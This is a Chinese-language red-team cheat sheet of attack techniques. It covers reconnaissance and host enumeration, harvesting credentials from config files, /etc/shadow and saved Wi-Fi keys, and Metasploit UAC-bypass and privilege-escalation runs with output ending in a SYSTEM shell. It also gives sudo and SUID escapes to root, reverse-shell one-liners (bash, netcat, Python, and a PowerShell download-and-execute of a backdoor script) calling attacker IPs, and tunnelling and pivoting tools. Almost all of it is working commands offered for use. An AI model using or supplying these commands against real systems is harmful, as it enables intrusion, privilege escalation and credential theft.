网络安全红队常用的攻击方法及路径

domain="xxxx.com"
header="xxxx.com"  
cert="xxxx.com"
host="xxxx.com"
body="xxxx.com"

*   OneForAll：集成多种方式搜集子域名，包括dns查询、证书查询等；
*   Amass：kali自带，集成多种收集方式，强烈推荐；
*   [https://crt.sh/](https://crt.sh/)：通过证书查找子域名和指纹识别；
*   [https://dnsdumpster.com](https://dnsdumpster.com)：是一个在线实用程序，可以查找子域、目标的DNS记录。

ipconfig /all                        --网卡配置
systeminfo                         --系统补丁信息等
echo %PROCESSOR_ARCHITECTURE%                --系统体系结构
wmic product get name,version                    --安装软件、版本、路径
wmic service list brief                                  --查询本机服务信息
tasklist -svc                        --进程查看
schtasks /query /fo list /v                          --任务计划查询
net statistics workstation                             --开机时间
net user                                 --查看用户
whoami /all                        --SID等用户信息
net localgroup administrators                --查看管理员组中的用户
net session                                              --会话查看
netstat -ano                                     --网络连接以及通过端口判断服务
net share                        --共享
route print                        --路由信息
arp -a                           --arp信息
cmdkey /l                                                --登录历史
hosts文件  Linux：/etc/hosts  Windows：c:\Windows\system32\drivers\etc\hosts
ipconfig  /displaydns                                --dns缓存
net view                         --查看共享
dir /s /b "pass" "user" "config" "username." "password." --命令行查找敏感文件
findstr  /s /m "password" *.*              --寻找包含密码字段的文件，如数据库密码文件
net user /domain                     --查看域用户
net time /domain                     --查看时间服务器（可能为DC）
net group "domain admins" /domain            --查看域管理员
net group "domaincontrollers" /domain          --查看域控制器

*   Tomcat：CATALINA_HOME/conf/tomcat-users.xml；
*   Apache：/etc/httpd/conf/httpd.conf；
*   Nginx：/etc/nginx/nginx.conf；
*   Wdcp：/www/wdlinux/wdcp/conf/mrpw.conf；
*   Mysql：mysql\data\mysql\user.MYD。

setspn -T domain.com -Q */*

net session     //需要管理员权限，列出或断开本地计算机和与之连接的客户端的会话
Navicat         //注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoft
xshell      //连接记录，可能回存在使用ssh key登录的主机

cmd：
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

uname -a
hostnamectl

cat /etc/profile 
cat /etc/bashrc 
cat .bash_profile
cat .bashrc 
cat .bash_logout 
env 
set

ps -aux               //进程
top
cat /etc/services
systemctl status ssh //查看某个服务是否在运行
chkconfig --list     //查看所有的服务状态
netstat -aunplt      //网络连接
arp -e
route

rpm -qa
yum list installed

find / -name *.conf
cat /etc/my.conf      //mysql数据库
cat /etc/httpd/conf/httpd.conf  //apache
tomcat-users.xml       //tomcat
/etc/samba/smb.conf    //samba
cat /etc/resolv.conf   //DNS域名解析
cat /etc/sysconfig/network
cat /etc/hosts
cat /var/apache2/config.inc 
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg
/etc/sysconfig/iptables  //iptables规则

crontab -l         //查看任务计划,有部分恶意任务计划需要crontab -e 编辑才能看到
查看anacron异步定时任务：cat/etc/anacrontab
cat /var/log/cron    查看任务计划日志
cat /etc/crontab
cat /etc/cron.d/
cat /etc/cron.daily/
cat /etc/cron.hourly/
cat /etc/cron.weekly/
cat /etc/cron.monthly/
cat /var/spool/cron/
service cron status  #通过任务计划执行的服务

grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

cat /etc/passwd
cat /etc/shadow
ls /home   //家目录
last   //登录成功用户
w
cat /etc/sudoers
ls -alh /var/mail/

history
cat /root/.viminfo //vim使用记录
cat .bash_history 
cat .nano_history 
cat .atftp_history 
cat .mysql_history 
cat .php_history
cat .python_history

*   User：普通用户权限；
*   Administrator：管理员权限；
*   System：系统权限。

*   User：普通用户权限；
*   www-data：Web服务的权限，比User还要低，一般通过Web漏洞获取的Webshell就是这个权限；
*   root：Linux系统最高权限。

http://bugs.hacking8.com/tiquan/```将systeminfo输出的修补程序信息填入查询可利用的漏洞，查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权；

①进程注入方式UAC
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem

②内存注入
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.8
set session 1
exploit
在执行getsystem

③Eventvwr注册表项 
use exploit/windows/local/bypassuac_eventvwr

④COM处理程序劫持
use exploit/windows/local/bypassuac_comhijack

meterpreter > getuid    //查看权限
Server username: HACK\testuser
meterpreter > background //当前激活的shell切换到后台
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester   //查找辅助提权模块

Matching Modules
================

#  Name                                      Disclosure Date  Rank    Check  Description


-  ---
-                                      ----
----
----
--
-  ---
-    ----

-  ----
----
---

0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

msf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > sessions //查看会话

Active sessions
===============

Id  Name  Type                     Information                      Connection

-
-  ---
-  ---
-                     ----
----
--
-                      ----
----
--

1         meterpreter x86/windows  HACK\testuser @ WIN-1EVLV0JUJD6  192.168.43.6:8866 -> 192.168.43.87:49394 (192.168.43.87)

msf5 post(multi/recon/local_exploit_suggester) > set session 1 //设置会话
session => 1
msf5 post(multi/recon/local_exploit_suggester) > exploit

[*] 192.168.43.87 
- Collecting local exploits for x86/windows...
[*] 192.168.43.87 
- 30 exploit checks are being tried...
[+] 192.168.43.87 
- exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.43.87 
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.43.87 
- exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
//以上为查找出来的可利用的漏洞

msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc   //选择上面的任意一个漏洞模块进入
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options  //查看需要设置的参数

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

Name     Current Setting  Required  Description

---
-     ----
----
----
--
-  ----
---
-  ----
----
---

SESSION                   yes       The session to run this module on.


Exploit target:

Id  Name

-
-  ----


0   Windows x86

msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit 

[*] Started reverse TCP handler on 192.168.43.6:4444 
[+] Compressed size: 1016
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
__ __ ___ ___   ___     ___ ___ ___ [*] Sending stage (180291 bytes) to 192.168.43.87

|  V  |  _|_  | |  _|___|   |_  |_  |
|     |_  |_| |_| . |___| | |_  |  _|
|_|_|_|___|_____|___|   |___|___|___|

[by b33f -> @FuzzySec]

[?] Operating system core count: 4
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1212

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1208
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP
[+] Executed on target machine.
[*] Meterpreter session 2 opened (192.168.43.6:4444 -> 192.168.43.87:49513) at 2022-06-01 09:30:28 +0800
[+] Deleted C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1

meterpreter > getuid  //再次查看权限已为system
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

其他提权模块：
exploit/windows/local/unquoted_service_path
set session 1
Exploit -j

use exploit/windows/local/service_permissions
set sessions 1
run

use exploit/windows/local/always_install_elevated
set sessions 1
run

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.115.34 LPORT=35650 -f dll

sudo --version  //查看版本
sudo -l     //查看当前用户可以使用的sudo的命令程序

sudo find . -exec /bin/sh \; -quit或者sudo awk 'BEGIN {system("/bin/sh")}'

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

find filename -exec whoami \;    //以SUID即root权限执行命令
如果是/usr/bin/bash执行bash -p     //将以root权限打开一个bash shell

nmap -v   //查看版本
root@localhost:~# nmap --interactive //交互模式
nmap> !sh
root@localhost:~# whoami
root

vim.tiny /etc/shadow   //读取文件
vim来打开shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

sudo su 
- #使用root用户登录，不用输入root密码即可切换

利用python获取交互Shell
python -c 'import pty;pty.spawn("/bin/sh")'
sudo su

ls -l /etc/cron*
cat /etc/crontab

nc
attackhost:nc -lvp 9999
target:/bin/bash -i &> /dev/tcp/192.168.0.198/9999 <&1

netcat
nc -e /bin/bash 192.168.0.198 9999

powershell
将ps1放到attackhost上
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.1 -port 9999

python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

target:./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565   #-k启用加密

vps:./iox fwd -l *8888 -l 33890 -k 656565

./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080       // 注意，这两个端口是有顺序的

# proxychains.conf
# socks5://1.1.1.1:1080

$ proxychains rdesktop 192.168.0.100:3389

-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口

Windows：
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="

C:\Users\test>for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="
来自 192.168.1.1 的回复: 字节=32 时间=2ms TTL=254
来自 192.168.1.3 的回复: 字节=32 时间=127ms TTL=64
来自 192.168.1.5 的回复: 字节=32 时间=14ms TTL=64

Linux：
for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

root@localhost:~# for i in $( seq 1 255);do ping -c 2 192.168.1.$i|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
192.168.1.1
192.168.1.3
192.168.1.5

ARP 扫描：     nmap -PR -sn 192.168.1.0/24
ICMP 扫描：    nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
SNMP 扫描：    nmap -sU --script snmp-brute 192.168.1.0/24 -T4
UDP 扫描：     nmap -sU -T5 -sV --max-retries 1 192.168.1.1 -p 500
NetBIOS 扫描：     nmap --script nbstat.nse -sU -p137 192.168.1.0/24 -T4

telnet
E:\ipscan>telnet 10.10.25.176 80
正在连接10.10.25.176...无法打开到主机的连接。 在端口 80: 连接失败

NC
root@localhost:~# nc -vv 10.10.12.162 22
Connection to 10.10.12.162 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5

fscan    https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -p 1-65535